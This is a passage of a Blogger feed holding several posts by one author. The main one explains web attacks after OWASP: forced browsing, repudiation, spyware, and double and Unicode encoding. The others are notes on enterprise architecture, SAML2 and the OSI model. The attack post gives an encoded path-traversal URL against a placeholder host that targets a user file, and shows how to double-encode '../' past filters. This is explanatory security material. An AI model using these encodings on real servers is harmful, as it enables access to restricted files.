&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;There are some common
characters sets that are used in Web applications attacks. For example,&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Path_Traversal&quot; title=&quot;Path Traversal&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Path Traversal&lt;/span&gt;&lt;/a&gt;&amp;nbsp;attacks use “../”
(dot-dot-slash) , while&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot; title=&quot;Cross-site Scripting (XSS)&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;XSS&lt;/span&gt;&lt;/a&gt;&amp;nbsp;attacks
use “&amp;lt;” and “&amp;gt;” characters. These characters give a hexadecimal
representation that differs from normal data.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;For example, “../”
(dot-dot-slash) characters represent&amp;nbsp;%2E%2E%2f in hexadecimal
representation. When the&amp;nbsp;% symbol is encoded again, its representation in
hexadecimal code is&amp;nbsp;%25. The result from the double encoding process
”../”(dot-dot-slash) would be&amp;nbsp;%252E%252E%252F:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Forced
browsing&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Forced browsing is an attack
where the aim is to enumerate and access resources that are not referenced by
the application, but are still accessible.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;An attacker can use&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Brute_force_attack&quot; title=&quot;Brute force attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Brute Force&lt;/span&gt;&lt;/a&gt;&amp;nbsp;techniques
to search for unlinked contents in the domain directory, such as temporary
directories and files, and old backup and configuration files. These resources
may store sensitive information about web applications and operational systems,
such as source code, credentials, internal network addressing, and so on, thus
being considered a valuable resource for intruders.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack is performed
manually when the application index directories and pages are based on number
generation or predictable values, or using automated tools for common files and
directory names.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack is also known as
Predictable Resource Location, File Enumeration, Directory Enumeration, and
Resource Enumeration.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Repudiation
Attack&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A
repudiation attack happens when an application or system does not adopt
controls to properly track and log users&#39; actions, thus permitting malicious
manipulation or forging the identification of new actions. This attack can be
used to change the authoring information of actions executed by a malicious
user in order to log wrong data to log files. Its usage can be extended to
general data manipulation in the name of others, in a similar manner as spoofing
mail messages. If this attack takes place, the data stored on log files can be
considered invalid or misleading.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Consider
a web application that makes access control and authorization based on
SESSIONID, but registers user actions based on a user parameter defined on the
Cookie header&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Setting
Manipulation&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack aims to modify
application settings in order to cause misleading data or advantages on the
attacker&#39;s behalf. He may manipulate values in the system and manage specific
user resources of the application or affect its functionalities.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;An attacker can exploit several
functionalities of the application using this attack technique, but it would
not possible to describe all the ways of exploration, due to innumerable
options that attacker may use to control the system values.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Using this attack technique, it
is possible to manipulate settings by changing the application functions, such
as calls to the database, blocking access to external libraries, and/or
modification log files.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Spyware&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Spyware is a program that
captures statistical information from a user&#39;s computer and sends it over
internet without user acceptance. This information is usually obtained from
cookies and the web browser’s history. Spyware can also install other software,
display advertisements, or redirect the web browser activity. Spyware differs
from a virus, worm, and adware in various ways. Spyware does not self-replicate
and distribute itself like viruses and worms, and does not necessarily display
advertisements like adware. The common characteristics between spyware and
viruses, worms, and adware are:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: 38.4pt; mso-list: l7 level1 lfo17; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;exploitation
of the infected computer for commercial purposes&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: 38.4pt; mso-list: l7 level1 lfo17; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;the
display, in some cases, of advertisements&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Unicode
Encoding&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
attack aims to explore flaws in the decoding mechanism implemented on
applications when decoding Unicode data format. An attacker can use this
technique to encode certain characters in the URL to bypass application
filters, thus accessing restricted resources on the Web server or to force browsing
to protected pages.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Path Traversal attack
URL with Unicode Encoding(original
url:&amp;nbsp;http://vulneapplication/../../appusers.txt)&amp;nbsp;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; border: dashed #2F6FAB 1.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-element: para-border-div; padding: 12.0pt 12.0pt 12.0pt 12.0pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: 6.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;http://vulneapplication/%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0.5em; margin-top: 0.4em;&quot;&gt;
&lt;div style=&quot;font-family: sans-serif;&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/1985814557509940271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/03/security-attacks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/1985814557509940271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/1985814557509940271'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/03/security-attacks.html' title='Security: Attacks'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-4229502679606152871</id><published>2013-03-03T14:57:00.000-08:00</published><updated>2013-03-03T14:57:00.207-08:00</updated><title type='text'>7a. Enterprise Architecture: Some &quot;concrete&quot; thoughts</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Virtualization&lt;br /&gt;
&lt;br /&gt;
Cloud Computing&lt;br /&gt;
&lt;br /&gt;
SaaS&lt;br /&gt;
&lt;br /&gt;
PaaS&lt;br /&gt;
&lt;br /&gt;
===== key characteristics of SOA framework&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Service Platform – WS-I Basic compliant, Java-based&amp;nbsp;client invocation and service endpoint framework&amp;nbsp;Expose services using different interfaces, multiple&amp;nbsp;invocation mechanisms (local, WSDL/schema, JMS...)&lt;/li&gt;
&lt;li&gt;Service Lifecycle Events – Logging, Caching, Business&amp;nbsp;Validation, Error Handling...&lt;/li&gt;
&lt;li&gt;Enable POJO programming model for developing services&amp;nbsp;Requirements, design, development, operational and other&amp;nbsp;processes to support SOA approach&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====&lt;br /&gt;
.NET and J2EE ( how to integrate etc). Solve the common problem.&lt;br /&gt;
&lt;br /&gt;
How to integrate SAP?&lt;br /&gt;
&lt;br /&gt;
Security ( borrow from the security blog post)&lt;br /&gt;
&lt;br /&gt;
Transaction&lt;br /&gt;
&lt;br /&gt;
=== Example enterprise architecture.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
• Unified Enterprise Portal across Apps&lt;br /&gt;
• Unified User Provisioning &amp;amp; Single Sign-On&lt;br /&gt;
• Composite Applications &amp;amp; Processes&lt;br /&gt;
• Enhanced Ad-Hoc Query &amp;amp; Analysis&lt;br /&gt;
• Updated Enterprise Reporting&lt;br /&gt;
• Real Time Business Activity Monitoring&lt;br /&gt;
• Unified Services Registry&lt;br /&gt;
• Unified Service Level Management&lt;br /&gt;
• Enterprise Services Bus&lt;br /&gt;
• Enterprise J2EE Infrastructure&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Content Mgmt System&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/4229502679606152871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/03/7a-enterprise-architecture-some.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/4229502679606152871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/4229502679606152871'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/03/7a-enterprise-architecture-some.html' title='7a. Enterprise Architecture: Some &quot;concrete&quot; thoughts'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-4323512223763572306</id><published>2013-01-19T17:05:00.000-08:00</published><updated>2013-01-19T17:05:00.347-08:00</updated><title type='text'>Security: SAML2</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
SAML&lt;br /&gt;
&lt;br /&gt;
why SAML?&lt;br /&gt;
&lt;br /&gt;
SAML1 vs SAML2&lt;br /&gt;
&lt;br /&gt;
SAML2 versus WS-Federation (or WS-Trust)&lt;br /&gt;
&lt;br /&gt;
Use cases&lt;br /&gt;
&amp;nbsp;- Single Sign on with IdP. Any IdP out there?&lt;br /&gt;
&amp;nbsp; &amp;nbsp; openSSO?&lt;br /&gt;
&amp;nbsp;- Federation with Partner.&lt;br /&gt;
- Federation across deparments ( internal systems)&lt;br /&gt;
- API level usage.&lt;br /&gt;
&lt;br /&gt;
why do I need to bother?&lt;br /&gt;
&amp;nbsp;- bother with some aspects. define identity boundaries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/4323512223763572306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/01/security-saml2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/4323512223763572306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/4323512223763572306'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/01/security-saml2.html' title='Security: SAML2'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-3240764533028823986</id><published>2012-12-30T23:01:00.000-08:00</published><updated>2012-12-30T23:01:00.545-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CISSP"/><category scheme="http://www.blogger.com/atom/ns#" term="Network Security"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="Telecommunications Security"/><title type='text'>Security: Network and Telecommunication Security</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
OSI Model&lt;/h3&gt;
&lt;div&gt;
The OSI reference model, is described by ISO Standard 7498. Good way to remember it is &quot;All People Seem To Need Data Processing&quot;(APSTNDP).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Encapsulation -&amp;nbsp;A message is constructed within a program on one computer and then passed down&amp;nbsp;through the protocol&#39;s stack. A protocol at each layer adds its own information to the message; thus, the message grows in&amp;nbsp;size as it goes down the protocol stack. The message is then sent to the destination computer, and the encapsulation is&amp;nbsp;reversed.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The &lt;b&gt;application &lt;/b&gt;layer, layer 7, works closest to the user and provides file transmissions, message exchanges, terminal&amp;nbsp;sessions, and much more. This layer does not include the actual applications but rather the protocols that support the&lt;/div&gt;
&lt;div&gt;
applications.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The &lt;b&gt;presentation &lt;/b&gt;layer, layer 6, receives information from the application layer protocols and puts it in a format all&amp;nbsp;computers following the OSI model can understand.&amp;nbsp;This layer also handles data compression and encryption issues. Some presentation layer standards include TIFF, ASCII etc.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The &lt;b&gt;session&lt;/b&gt; layer, layer 5,&amp;nbsp;sets up connections between applications, maintain dialog control, and negotiate, establish,maintain, and tear down the communication channel.. Examples,&amp;nbsp;Network File System (NFS), SQL, NetBIOS,&amp;nbsp;RPC. Modes:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Simplex: One direction.&lt;/li&gt;
&lt;li&gt;Half-duplex: both directions, but only one at a time.&lt;/li&gt;
&lt;li&gt;Full-duplex: both at the same time.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Session layer protocols control application-to-application&amp;nbsp;communication, whereas the transport layer protocols handle computer-to-computer communication.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The &lt;b&gt;transport &lt;/b&gt;layer receives data from many different applications and assembles the data into a stream to be properly&amp;nbsp;transmitted over the network. Example: TCP, UDP, and&amp;nbsp;Sequenced Packet Exchange (SPX).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Note&lt;/b&gt;: SSL is made up of two protocols—one works in the lower portion of the session layer and the&amp;nbsp;other works in the transport layer. For purposes of the CISSP exam, SSL resides in the transport layer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Network&lt;/b&gt; layer, layer 3, inserts information into the packet&#39;s header so it can be&amp;nbsp;properly addressed and routed, and then to actually route the packets to their proper destination. Routing protocols build and maintain their routing tables at this layer.&amp;nbsp;The protocols at this layer depend on the protocols at the&amp;nbsp;transport layer to catch any problems and resend packets if necessary. Example, IP,&amp;nbsp;Internet Control&amp;nbsp;Message Protocol (ICMP), Routing Information Protocol (RIP), Open Shortest Path First (OSPF), Border Gateway Protocol&amp;nbsp;(BGP), and Internet Group Management Protocol (IGMP).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The protocols at the data link layer convert data into LAN or WAN frames for transmission, convert messages into bits, and&amp;nbsp;define how a computer accesses a network.&amp;nbsp;The data link layer is where the network stack knows what format the data frame must be in to transmit properly over&amp;nbsp;Token Ring, Ethernet, ATM, or Fiber Distributed Data Interface (FDDI) networks. If the network is an Ethernet network, for&amp;nbsp;example, all the computers will expect the header to be a certain length, the flags to be positioned in a certain place within&amp;nbsp;the packet, and the trailer information to be in a certain place with specific fields. On a Token Ring network, the computers&amp;nbsp;would expect most of these parameters to be in different places and the frames to have particular formats.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The &lt;b&gt;data link&lt;/b&gt;&amp;nbsp;layer is responsible for proper communication within these technologies and for changing the data into the necessary&amp;nbsp;format for the physical layer. It will also manage to reorder frames that are received out of sequence, and notify upper-layer&amp;nbsp;protocols when there are transmission error conditions.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Two functional sub-layers:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Logical Link Control (LLC):&amp;nbsp;
The LLC, defined in the IEEE 802.2 specification, communicates with the protocol immediately above it(
network layer).&lt;/li&gt;
&lt;li&gt;Media Access&amp;nbsp;Control (MAC):&amp;nbsp;The MAC will have the appropriately loaded protocols to interface with the protocol requirements of the&amp;nbsp;physical layer. The IEEE MAC specification for Ethernet is 802.3, Token Ring is 802.5, wireless LAN is 802.11.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Examples are the Serial Line Internet Protocol (SLIP), Point-to-Point Protocol&lt;/div&gt;
&lt;div&gt;
(PPP), Reverse Address Resolution Protocol (RARP), Layer 2 Forwarding (L2F), Layer 2 Tunneling Protocol (L2TP),&amp;nbsp;FDDI, and Integrated Services Digital Network (ISDN). The data link layer converts the information&amp;nbsp;into bits, and the physical layer converts those bits into electrical signals.&amp;nbsp;Each network technology (Ethernet, Token Ring, and so on) defines the compatible physical transmission type (coaxial,&amp;nbsp;twisted pair, or fiber) that is required to enable network communication.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The &lt;b&gt;physical &lt;/b&gt;layer, layer 1, converts bits into voltage for transmission. Signals and voltage schemes have different&amp;nbsp;meanings for different LAN and WAN technologies. Standard interfaces:&amp;nbsp;High-Speed Serial Interface (HSSI),&amp;nbsp;X.21,&amp;nbsp;&amp;nbsp;EIA/TIA-232 and EIA/TIA-449.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Security services defined in the OSI &lt;b&gt;security model&lt;/b&gt; include data integrity, data confidentiality, authentication, and access control services.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A router peels back the&amp;nbsp;header information until it reaches the network layer data and uses this&amp;nbsp;to make its routing decisions.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Bridges understand only up&amp;nbsp;to the data link layer.&lt;/li&gt;
&lt;li&gt;Repeaters understand data only at the physical layer.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;When an application formats&amp;nbsp;data to be transmitted over the network, the data are called a message.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The message is sent to the transport layer, where&amp;nbsp;TCP does its magic on the data. The bundle of data is now a segment.&amp;nbsp;The segment is sent to the network layer.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The&amp;nbsp;network layer adds routing and addressing, and now the bundle is called a datagram.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The network layer passes off the&amp;nbsp;datagram to the data link layer, which frames the datagram with a header and a trailer, and now it is called a frame.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;








&lt;b&gt;How Does it Map to TCP?&lt;/b&gt;&lt;/h3&gt;
&lt;br /&gt;
Application = &amp;nbsp; Application, Presentation and &amp;nbsp;Session,&lt;br /&gt;
&lt;br /&gt;
Host-to-Host &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= &amp;nbsp; Transport&lt;br /&gt;
Internet &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = &amp;nbsp; &amp;nbsp;Network&lt;br /&gt;
Network Access &amp;nbsp; = &amp;nbsp; &amp;nbsp;DataLink, Physical.&lt;br /&gt;
&lt;br /&gt;
Transmission Control Protocol/Internet Protocol (TCP/IP) is a reliable and connection-oriented protocol and is a suite of protocols that governs the way data travel from one&amp;nbsp;device to another.&amp;nbsp;IP is a connectionless protocol that provides the addressing and routing capabilities for each package of data.&lt;br /&gt;
&lt;br /&gt;
